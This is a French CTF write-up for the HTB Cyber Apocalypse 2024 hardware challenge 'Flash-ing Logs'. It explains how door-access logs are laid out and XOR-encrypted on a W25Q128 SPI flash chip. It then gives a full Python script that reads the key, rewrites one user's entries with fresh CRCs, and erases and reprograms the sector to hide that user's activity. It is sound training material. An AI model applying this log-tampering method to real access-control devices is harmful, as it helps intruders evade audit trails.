ThaySan
  • πŸ‘‹Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • πŸ”‘Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • πŸ”ŽForensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • πŸ’ΎProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • βš™οΈReverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • πŸ”‘Cryptographie
        • Clavier spΓ©cial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins TrafiquΓ©s
        • Redstone Gold Block
      • πŸ’ΎProgrammation
        • Captcha 1.0
        • Intro Γ  la prog
        • Captcha 2.0
      • βš™οΈReverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭StΓ©ganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drΓ΄le de QR code
        • RandonnΓ©e Guillerette Γ  Bordeaux
      • πŸ’»SystΓ¨me
        • Marche-pied
        • Escabot
        • rΓ©gulation des DonnΓ©es et des Normes de SΓ©curitΓ©
      • 🌐Web
        • cybernight.zip
        • Mon champion prΓ©fΓ©rΓ©
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquΓͺte
        • L'enquΓͺte 2/6
        • L'EnquΓͺte 1/6
        • Bienvenue, enquΓͺteur
    • 2024 | Star-Hack
      • πŸ”‘Cryptographie
        • CΓ©sar, mais pas CΓ©sar
        • Double ennui
        • Langage secret
        • Quadratique MystΓ©rieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • πŸ”ŽForensic
        • Cache-cache
        • Fichier ZIP protΓ©gΓ© par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi Γ§a ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • βš™οΈReverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • πŸ”‘Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • πŸ”‘Cryptographie
        • AES Intro
        • AlΓ©atoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • πŸ”ŽForensic
        • Mais qui est le photographe ?
        • Mais oΓΉ est passΓ© mon flag ?
        • MΓ©moire 1/4
        • MΓ©moire 2/4
        • MΓ©moire 3/4
        • MΓ©moire 4/4
        • My computer is talking
      • πŸ“šOSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • SacrΓ© dossier
        • Socint
      • πŸ’ΎProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • βš™οΈReverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭StΓ©ganographie
        • Cybernight Γͺtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • πŸ’»SystΓ¨me
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • πŸ”‘Cryptographie
        • conv
        • oracle-srl
        • ctr
      • πŸ”ŽForensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • πŸ“±Mobile
        • mobisec
      • πŸ“šOSINT
      • 😈Pwn
      • βš™οΈReverse
      • πŸ•΅οΈTraque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • πŸ”‘Cryptographie
        • BΓ©bΓ© nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'Γ©ponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissΓ© chef !
        • SEA - La face cachΓ©e de l'Iceberg
      • πŸ”ŽForensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sΓ©curiser que guΓ©rir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • πŸ”ŒHardware
        • Serial killer
        • Le soulevΓ© de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oΓΉ sont les triggers ?
      • πŸ€–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dΓ©robΓ©es
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • πŸ“šOSINT
        • LΓ©gende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • πŸˆβ€β¬›Quantique
        • Des trains superposΓ©s
        • De l'Γ©coute, pas trΓ¨s discrΓ¨te
        • De la multiplicitΓ© des problΓ¨mes
      • βš™οΈReverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭StΓ©ganographie
        • ⭐L'absence
        • ⭐Regarder en stΓ©rΓ©o
        • ⭐La Barre Fixe
        • ⭐Le grand Γ©cart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous Γͺtes en RETARD
        • ⭐Le match du siΓ¨cle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siΓ¨cle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • πŸ”‘Cryptographie
        • zzz
      • πŸ“šOSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prΓ©lude
        • La fin ?
        • La fuite Dumas
        • Un rΓ©seau suspect
      • πŸ’ΎProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • πŸ’»SystΓ¨me
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement Γ©tait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • πŸ”—Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • πŸ”‘Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • πŸ”ŽForensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • πŸ”ŒHardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • βš™οΈReverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • πŸ”‘Cryptographie
        • start-enc
        • traffic-e
      • πŸ”ŽForensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • πŸ“±Mobile
        • flagen
        • improper-configuration
      • πŸ“‘Network
        • wifi-basic
        • wifiland
      • πŸ“šOSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • βš™οΈReverse
        • fake-add
      • 🎭StΓ©ganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • πŸ“šOSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • βš™οΈReverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • πŸ”‘Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • πŸ”‘Cryptographie
        • CoupΓ©-dΓ©calΓ©
        • ExFILEtration
        • Il s'est baissΓ© ou pas
        • J'ai pas rotΓ©
        • Les allemands !
        • RSA Strong Prime generator
      • πŸ”ŽForensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • πŸ”ŒHardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • πŸ’ΎProgrammation
        • Repeat
        • Startup
        • Timing
      • βš™οΈReverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭StΓ©ganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
PropulsΓ© par GitBook
Sur cette page
  • Challenge
  • Analyse des fichiers
  • Structure des logs
  • Sauvegarde des logs
  • Echange avec la mΓ©moire flash
  • Fonctionnement gΓ©nΓ©ral
  • Lecture des donnΓ©es
  • Lecture des registres de sΓ©curitΓ©
  • Ecrire dans la mΓ©moire
  • Workflow
  • Script de rΓ©solution

Cet article vous a-t-il Γ©tΓ© utile ?

  1. CTF & Writeups
  2. 2024 | HTB - Cyber Apocalypse Challenges
  3. Hardware

Flash-ing Logs

CatΓ©gorie: Hardware DifficultΓ©: hard Flag: HTB{n07h1n9_15_53cu23_w17h_phy51c41_4cc355!@}

Challenge

Description


After deactivating the lasers, you approach the door to the server room. It seems there's a secondary flash memory inside, storing the log data of every entry. As the system is air-gapped, you must modify the logs directly on the chip to avoid detection. Be careful to alter only the user_id = 0x5244 so the registered logs point out to a different user. The rest of the logs stored in the memory must remain as is.

Ce challenge tourne sur un docker et n'est pas disponible

Analyse des fichiers

Ce challenge concerne une mΓ©moire flash qui enregistres des donnΓ©es Γ  chaque fois qu’une personne ouvre la porte et les sauvegarde sous la forme de logs (une liste d’évΓ©nement). L’objectif est donc de rΓ©ussir Γ  communiquer avec cette mΓ©moire flash pour, dans un premier temps, lire ces donnΓ©es et ensuite les modifier.

Nous avons 2 fichiers :

  • client.py qui permet de communiquer avec la mΓ©moire flash

  • log_event.c qui dΓ©crit le fonctionnement des logs

Comme client.py ne sert qu’à parler avec la mΓ©moire flash, ce fichier ne nous intΓ©resse pas pour le moment. Comprenons plutΓ΄t comment fonctionnent le systΓ¨me de logs pour savoir ce que la mΓ©moire Γ  en elle

Structure des logs

La structure des logs se trouve dans log_event.c

// SmartLockEvent structure definition
typedef struct {
    uint32_t timestamp;   // Timestamp of the event
    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)
    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)
    uint8_t method;       // Numeric code for unlock method
    uint8_t status;       // Numeric code for status (success, failure)
} SmartLockEvent;

Cette structure se compose donc de :

  • uint32_t β†’ 4 bytes pour le timestamp

  • uint8_t β†’ 1 byte pour le type de l’évΓ©nement

  • uint16_t β†’ 2 bytes pour l’identifiant de l’utilisateur

  • uint8_t β†’ 1 byte pour la mΓ©thode utilisΓ©e

  • uint8_t β†’ 1 byte pour le status du rΓ©sultat

On pourrait donc s’atteindre Γ  ce que la structure fasse 4+1+2+1+1 = 9 bytes

Sauf que non, dû à des optimisations du compilateur pour accèder à la mémoire, la structure fait 12 bytes

On peut le voir si l’on compile la structure et qu’on la sΓ©rialise de la mΓͺme faΓ§on que dans le code fournit :

#include <stdio.h>
#include <stdint.h>
#include <string.h>

typedef struct {
    uint32_t timestamp;   // Timestamp of the event
    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)
    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)
    uint8_t method;       // Numeric code for unlock method
    uint8_t status;       // Numeric code for status (success, failure)
} SmartLockEvent;

int main()
{
    SmartLockEvent event = { 
        .timestamp = 0xAAAAAAAA,
        .eventType = 0xBB,
        .userId = 0xCCCC,
        .method = 0xDD,
        .status = 0xEE
    };
    
    uint8_t buffer[sizeof(SmartLockEvent)];
    memset(buffer, 0, sizeof(SmartLockEvent));
    memcpy(buffer, &event, sizeof(SmartLockEvent));
    
    printf("========================\n");
    printf("timestamp: %ld\n", sizeof(event.timestamp));
    printf("eventType: %ld\n", sizeof(event.eventType));
    printf("userId: %ld\n", sizeof(event.userId));
    printf("method: %ld\n", sizeof(event.method));
    printf("status: %ld\n", sizeof(event.status));
    printf("========================\n");
    printf("SmartLockEvent: %ld bytes\n", sizeof(SmartLockEvent));
    printf("========================\n");
    printf("Serialized: ");
    for (int i = 0; i < sizeof(SmartLockEvent); i++) printf("%02X", buffer[i]);
    printf("\n========================\n");

    return 0;
}
========================
timestamp: 4
eventType: 1
userId: 2
method: 1
status: 1
========================
SmartLockEvent: 12 bytes
========================
Serialized: AAAAAAAABB00CCCCDDEE0000
========================

On a un premier padding de 1 byte Γ  la position 5, puis un padding de 2 bytes Γ  la position 10/11. Il faudra donc prendre en compte cela quand on sΓ©rialisera et dΓ©sΓ©rialisera nos donnΓ©es

Sauvegarde des logs

J’ai simplifiΓ© en ne gardant que ce qui intΓ©resse ici, on voit qu’un checksum de type CRC32 (donc 4 bytes) est calculΓ© et ajoutΓ© Γ  la suite des donnΓ©es de l’event, ce qui nous fait un total de 12 + 4 = 16 bytes Γ©crit en mΓ©moire pour chaque Γ©vΓ©nement

int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address) {

		// Buffer for event and CRC
    uint8_t buffer[sizeof(SmartLockEvent) + sizeof(uint32_t)];
    uint32_t crc;
    memset(buffer, 0, sizeof(SmartLockEvent) + sizeof(uint32_t));

    // Serialize the event
    memcpy(buffer, &event, sizeof(SmartLockEvent));

    // Calculate CRC for the serialized event
    crc = calculateCRC32(buffer, sizeof(SmartLockEvent));

    // Append CRC to the buffer
    memcpy(buffer + sizeof(SmartLockEvent), &crc, sizeof(crc));

    // Write the buffer to flash
    write_to_flash(sector, address, buffer, sizeof(buffer));

    return 1;
}

Mais si l’on va voir la fonction write_to_flash on s’aperΓ§oit qu’avant d’Γͺtre Γ©crite en mΓ©moire, les donnΓ©es sont chiffrΓ©es

void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length) {
    uint8_t i;
    uint16_t n;  

    encrypt_data(data, length, 1, address); 

    n =  W25Q128_pageWrite(sector, address, data, 16);
}

Cette fonction encrypt_data va en fait rΓ©cupΓ©rer une clΓ© de 12 bytes Γ  partir de l’adresse 0x52 du registre de sΓ©curitΓ© nΒ°1

Ces 12 bytes sont utilisΓ©s pour XOR les premiers 12 bytes des donnΓ©es, c’est Γ  dire l’évΓ©nement en lui mΓͺme mais pas sont CRC32

void encrypt_data(uint8_t *data, size_t data_length, uint8_t register_number, uint32_t address) {
    uint8_t key[KEY_SIZE];

    read_security_register(register_number, 0x52, key); // register, address

    // Apply encryption to data, excluding CRC, using the key
    for (size_t i = 0; i < data_length - CRC_SIZE; ++i) { // Exclude CRC data from encryption
        data[i] ^= key[i % KEY_SIZE]; // Cycle through  key bytes
    }
}

Echange avec la mΓ©moire flash

On sait donc comment sont enregistrΓ©es les donnΓ©es, il faut maintenant apprendre Γ  discuter avec le W25Q128FV pour les rΓ©cupΓ©rer, les modifier puis les rΓ©injecter

Fonctionnement gΓ©nΓ©ral

La mΓ©moire est composΓ©e de 256 Blocs, chaque bloc est composΓ© de 16 Secteurs et chaque secteur est composΓ© de 16 Pages

  • Une page fait 256 bytes

  • Un secteur fait donc 256 * 16 = 4096 bytes (4KB)

  • Un bloc fait donc 4096 * 16 = 65536 bytes (64KB)

  • La mΓ©moire est de 65536 * 256 = 16777216 (16MB)

Autre point, on peut Γ©crire 256 bytes Γ  la fois et Γ©craser les donnΓ©es par secteur, par demi-bloc, par bloc ou tout

Et enfin, il existe 3 registres de sΓ©curitΓ© de 256 bytes chacun


Lecture des donnΓ©es

Pour lire la mΓ©moire, il faut envoyer 0x03 puis l’adresse de 24 bits Γ  lire

Exemple :

Pour lire le dΓ©but de la mΓ©moire, on envoit 0x03 0x00 0x00 0x00

Mettons Γ  jour notre client.py avec cette nouvelle fonction

# Transforme un adresse en tableau de int (nΓ©cessaire pour la fonction exchange)
def _parse_address(address: int) -> list[int]:
	return [n for n in address.to_bytes(3, byteorder='big')]

# Lecture des donnΓ©es Γ  une adresse prΓ©cise, size reprΓ©sente le nombre d'octet Γ  lire
def read(address: int, size: int) -> bytearray:
	return exchange([0x03, *_parse_address(address)], size)

Lecture des registres de sΓ©curitΓ©

La commande est, dans l’ordre :

  • 0x48

  • 0x00

  • 4 bits contenant le numΓ©ro du registre

  • 4 bits null

  • 1 octets pour dire Γ  partir d’oΓΉ lire le registre

Exemples :

Pour lire le registre de sΓ©curitΓ© nΒ°1 Γ  partir de l’octet 0x52 : 0x48 0x00 0x10 0x52 Pour lire le registre de sΓ©curitΓ© nΒ°2 Γ  partir de l’octet 0x18 : 0x48 0x00 0x20 0x18 Pour lire le registre de sΓ©curitΓ© nΒ°3 Γ  partir de l’octet 0x42 : 0x48 0x00 0x30 0x42

Mettons Γ  jour notre client.py avec cette nouvelle fonction

# Permet de rΓ©cupΓ©rer les donnΓ©es d'un registre de sΓ©curitΓ© Γ  partir d'une adresse, size Γ©tant le nombre d'octets lus
def read_security_register(register: int, address: int, size: int) -> bytearray:
	return exchange([0x48, 0x0, register << 4, address], size)

Ecrire dans la mΓ©moire

Pour modifier les donnΓ©es, on va utiliser la commande 0x02 qui demande les conditions suivantes :

  • La mΓ©moire Γ  l’endroit que l’on veut programmer doit Γͺtre Γ©crasΓ©e avant

  • On doit envoyer l’instruction Write Enable avant

  • Le commande de Page Program se compose dans cette ordre :

    • 0x02

    • Adresse de 24bits oΓΉ l’on souhaite Γ©crite

    • Au moins 1 octets de donnΓ©es Γ  Γ©crire (et maximum 256 octets)

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def page_program(address: int, page: bytearray) -> None:
	write_enable()
	exchange([0x02, *_parse_address(address), *page])

Pour Write Enable, c’est la commande 0x06

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def write_enable() -> None:
	exchange([0x06])

Pour Γ©craser un endroit avant d’écrire dedans, c’est la commande Sector Erase 0x20 suivis de l’adresse 24 bits Γ  Γ©craser. Cette commande doit Γ©galement Γͺtre prΓ©cΓ©dΓ©e de Write Enable. Elle permet d’écraser un secteur complet donc 4MB.

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def sector_erase(address: int) -> None:
	write_enable()
	exchange([0x20, *_parse_address(address)])

Exemple :

On cherche Γ  Γ©crire 0xdeadbeef Γ  l’adresse 0x000018 L’adresse fait partie du premiΓ¨re secteur, donc le secteur Γ  l’adresse 0x000000 On active Write Enable, on Γ©crase le secteur, on active encore Write Enable et enfin on Γ©crit, ce qui donne les commandes :

0x06 (Write Enable) 0x20 0x00 0x00 0x00 (Sector Erase) 0x06 (Write Enable) 0x02 0x00 0x00 0x18 0xde 0xad 0xbe 0xef (Program page)

A noter que si d’autres donnΓ©es existaient dans le secteur, elles ont Γ©taient effacΓ©es. Pour les concerver, il aurait fallu les lire avant, modifier l’adresse 0x000018 de notre cΓ΄tΓ© puis renvoyer l’ensemble modifiΓ© par groupe de 256 bytes (puisque c’est le maximum que l’on peut Γ©crire d’un coup)


Workflow

  1. RΓ©cupΓ©rer la clΓ© de chiffrement Γ  l’adresse 0x52 du registre nΒ°1 de sΓ©curitΓ©

  2. Lire des donnΓ©es dans la mΓ©moire

  3. DΓ©chiffrer les donnΓ©es

  4. DΓ©sΓ©rialiser les donnΓ©es dΓ©chiffrΓ©es pour trouver les logs avec le userID 0x5244 (21060)

  5. Modifier les logs concernΓ©s (ne pas oublier de recalculant le CRC32 si modification)

  6. SΓ©rialiser les nouveaux logs

  7. Chiffrer les nouvelles donnΓ©es

  8. Ecraser le(s) secteur(s) oΓΉ se situe les donnΓ©es que l’on souhaite modifier

  9. Ecrire dedans par paquet de 256 bytes


Script de rΓ©solution

CommenΓ§ons par le fichier model.py dans lequel nous crΓ©ons une classe qui permet de sΓ©rialiser et dΓ©sΓ©rialiser des logs mais aussi de calculer leur CRC32 Γ  partir de leur donnΓ©es

model.py
import binascii
import struct

class SmartLockEvent:
    SIZE = 12
    SIZE_WITH_CRC = 16

    @staticmethod
    def deserialize(raw: bytes) -> "SmartLockEvent":
        return SmartLockEvent(
            struct.unpack('I', raw[:4])[0],
            struct.unpack('B', raw[4:5])[0],
            struct.unpack('H', raw[6:8])[0],    # Il y a le padding d'1 octet avant, donc on skip raw[5]
            struct.unpack('B', raw[8:9])[0],
            struct.unpack('B', raw[9:10])[0],
            struct.unpack('I', raw[12:16])[0]   # Il y a le padding de 2 octets avant, donc on skip raw[10] et raw[11]
        )

    def __init__(self, timeout, event_type, user_id, method, status, crc):
        self.timeout = timeout
        self.event_type = event_type
        self.user_id = user_id
        self.method = method
        self.status = status
        self.crc = crc

    def serialize(self) -> bytearray:
        return bytearray(
            struct.pack('I', self.timeout) +
            struct.pack('B', self.event_type) +
            b'\x00' +                               # On oublie pas le padding d'1 octet Γ  placer
            struct.pack('H', self.user_id) +
            struct.pack('B', self.method) +
            struct.pack('B', self.status) +
            b'\x00\x00' +                           # On oublie pas le padding de 2 octets Γ  placer
            struct.pack('I', self.crc)
        )

    def calculate_crc32(self) -> int:
        return binascii.crc32(self.serialize()[:self.SIZE])

Ensuite on a notre client.py avec les nouvelles fonctions que nous avons ajoutΓ©

client.py
import socket
import json

FLAG_ADDRESS = 0x525252
HOST = '94.237.53.3'
PORT = 56809

def exchange(hex_list: list[int], value: int = 0) -> bytearray:
	usb_device_url = 'ftdi://ftdi:2232h/1'

	# Convert hex list to strings and prepare the command data
	command_data = {
		"tool": "pyftdi",
		"cs_pin": 0,
		"url": usb_device_url,
		"data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
		"readlen": value
	}

	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		s.connect((HOST, PORT))

		# Serialize data to JSON and send
		s.sendall(json.dumps(command_data).encode('utf-8'))

		# Receive and process response
		data = b''
		while True:
			data += s.recv(1024)
			if data.endswith(b']'):
				break

		response = json.loads(data.decode('utf-8'))
	# print(f"Received: {response}")
	return bytearray(response)

def _parse_address(address: int) -> list[int]:
	return [n for n in address.to_bytes(3, byteorder='big')]

def read_security_register(register: int, address: int, size: int) -> bytearray:
	return exchange([0x48, 0x0, register << 4, address], size)

def read(address: int, size: int) -> bytearray:
	return exchange([0x03, *_parse_address(address)], size)

def write_enable() -> None:
	exchange([0x06])

def sector_erase(address: int) -> None:
	write_enable()
	exchange([0x20, *_parse_address(address)])

def page_program(address: int, page_data: bytearray) -> None:
	write_enable()
	exchange([0x02, *_parse_address(address), *page_data])

def get_flag() -> str:
	return read(FLAG_ADDRESS, 45).decode()

Et enfin, notre main.py qui contient la logique Γ  faire pour rΓ©soudre notre challenge

main.py
import client
from model import SmartLockEvent

USER_TO_HIDE = 0x5244
REPLACE_USER_ID_BY = 575
PAGE_SIZE = 256

def xor(data: bytearray, key: bytearray, size: int) -> bytearray:
    assert len(data) >= size
    return bytearray([data[i] ^ key[i % len(key)] for i in range(size)]) + data[size:]

def get_logs(key: bytearray):
		# Lecture du premier secteur
    data = client.read(0x0, 4096)
    step = SmartLockEvent.SIZE_WITH_CRC
    events = []
    # Lecture des donnΓ©es 16 bytes par 16 bytes
    for i in range(0, len(data), step):
        print(f"{i:03x}", data[i:i + step].hex(), end='')
        # Si les 16 bytes sont 0xFF, c'est que la mΓ©moire est vide Γ  ce niveau lΓ , ce n'est pas un log
        if data[i:i + step] != b"\xFF" * step:
		        # DΓ©chiffrement des 12 premiers bytes
            data[i:i + step] = xor(data[i:i + step], key, SmartLockEvent.SIZE)
            event = SmartLockEvent.deserialize(data[i:i + step])
            events.append(event)
            print(f" -> {event.__dict__}", end='')
        print()
    return events

def main():
    key = client.read_security_register(1, 0x52, 12)
    print("================    LOGS BEFORE    ================")
    events = get_logs(key)

    # On modifie les Γ©vΓ©nements qui concernent l'utilisateur 0x5244
    for event in events:
        if event.user_id == USER_TO_HIDE:
            event.user_id = REPLACE_USER_ID_BY
            event.crc = event.calculate_crc32()

    # Serialization et chiffrement des nouveaux logs
    new_data = bytearray()
    for event in events:
        new_data += xor(event.serialize(), key, SmartLockEvent.SIZE)

    # Ecrasement du secteur oΓΉ se trouve les logs (ils sont tous dans le premier)
    client.sector_erase(0x0)

    # Par page de 256 bytes, on Γ©crit dans la mΓ©moire
    for i in range(0, len(new_data), PAGE_SIZE):
        client.page_program(i, new_data[i:i+PAGE_SIZE])

    # Check manually if log are correctly changed
    print("\n================    LOGS AFTER    ================")
    get_logs(key)

    # Get flag
    flag = client.get_flag()
    print(f"\nFlag: {flag}")

if __name__ == '__main__':
    main()
================    LOGS BEFORE    ================
000 8774d8fc235dc18b6d07485398d45d17 -> {'timeout': 1706207934, 'event_type': 5, 'user_id': 575, 'method': 1, 'status': 1, 'crc': 392025240}
010 24a0d9fcdf5d918a6e074853dbcdeec3 -> {'timeout': 1706262045, 'event_type': 249, 'user_id': 879, 'method': 2, 'status': 1, 'crc': 3287207387}
020 37b2defc4a5de2896f074853eb4ce4b9 -> {'timeout': 1706322958, 'event_type': 108, 'user_id': 28, 'method': 3, 'status': 1, 'crc': 3118746859}
030 f9a8defc235d468a6e074853772e1dfe -> {'timeout': 1706325696, 'event_type': 5, 'user_id': 952, 'method': 2, 'status': 1, 'crc': 4263325303}
040 af3ddefc4a5de2896e074853351e928f -> {'timeout': 1706353558, 'event_type': 108, 'user_id': 28, 'method': 2, 'status': 1, 'crc': 2408717877}
050 da36defc7a5deb886f074853f5234437 -> {'timeout': 1706354915, 'event_type': 92, 'user_id': 277, 'method': 3, 'status': 1, 'crc': 927212533}
060 f5cadffcdf5dd58a6f074853bc25e797 -> {'timeout': 1706366156, 'event_type': 249, 'user_id': 811, 'method': 3, 'status': 1, 'crc': 2548508092}
070 a971dffcec5dd58a6e0748530df8c261 -> {'timeout': 1706405776, 'event_type': 202, 'user_id': 811, 'method': 2, 'status': 1, 'crc': 1640167437}
080 49badcfcec5d7d8a6e0748535178a7b5 -> {'timeout': 1706452080, 'event_type': 202, 'user_id': 899, 'method': 2, 'status': 1, 'crc': 3047651409}
090 067ddcfc2d5dc18b6f07485351b31a21 -> {'timeout': 1706468159, 'event_type': 11, 'user_id': 575, 'method': 3, 'status': 1, 'crc': 555397969}
0a0 099addfc2d5d7d8a6d0748530fc32348 -> {'timeout': 1706509360, 'event_type': 11, 'user_id': 899, 'method': 1, 'status': 1, 'crc': 1210303247}
0b0 a415d2fc9d5dc18b6f074853bf08ff97 -> {'timeout': 1706609565, 'event_type': 187, 'user_id': 575, 'method': 3, 'status': 1, 'crc': 2550073535}
0c0 143ed3fc4a5d4e8a6d074853c50a39dd -> {'timeout': 1706680365, 'event_type': 108, 'user_id': 944, 'method': 1, 'status': 1, 'crc': 3711503045}
0d0 c9ddd1fc235d7d8a6d074853cfe542e8 -> {'timeout': 1706755056, 'event_type': 5, 'user_id': 899, 'method': 1, 'status': 1, 'crc': 3896698319}
0e0 66cfd1fcf05deb886e07485383cb623f -> {'timeout': 1706758495, 'event_type': 214, 'user_id': 277, 'method': 2, 'status': 1, 'crc': 1063439235}
0f0 f455d1fcec5d468a6e074853e40b6870 -> {'timeout': 1706789837, 'event_type': 202, 'user_id': 952, 'method': 2, 'status': 1, 'crc': 1885866980}
100 95e3d6fc855d4e8a6e074853c7bd8ab5 -> {'timeout': 1706835372, 'event_type': 163, 'user_id': 944, 'method': 2, 'status': 1, 'crc': 3045768647}
110 7358d4fc235deb886e074853030f4e35 -> {'timeout': 1706985034, 'event_type': 5, 'user_id': 277, 'method': 2, 'status': 1, 'crc': 894308099}
120 4373d4fc855d218b6e0748539d982b1f -> {'timeout': 1706995066, 'event_type': 163, 'user_id': 735, 'method': 2, 'status': 1, 'crc': 522950813}
